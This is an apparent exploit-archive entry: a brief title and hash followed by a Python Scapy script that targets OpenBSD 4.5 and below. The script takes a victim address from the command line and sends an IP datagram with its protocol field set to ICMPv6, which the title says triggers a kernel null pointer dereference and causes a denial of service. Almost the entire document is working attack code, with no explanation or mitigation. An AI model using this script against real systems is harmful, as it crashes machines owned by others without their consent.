OpenBSD versions 4.5 and below IP datagram null pointer dereference denial of service exploit.
9357a026c996621fba5cb7f557678955ce1f5a7f576f18c33777a5d89231830c
import sys
from scapy import *
victim=sys.argv[1]
icmpv6=58
p=IP(dst=victim)
p.proto=icmpv6
sr(p,timeout=1)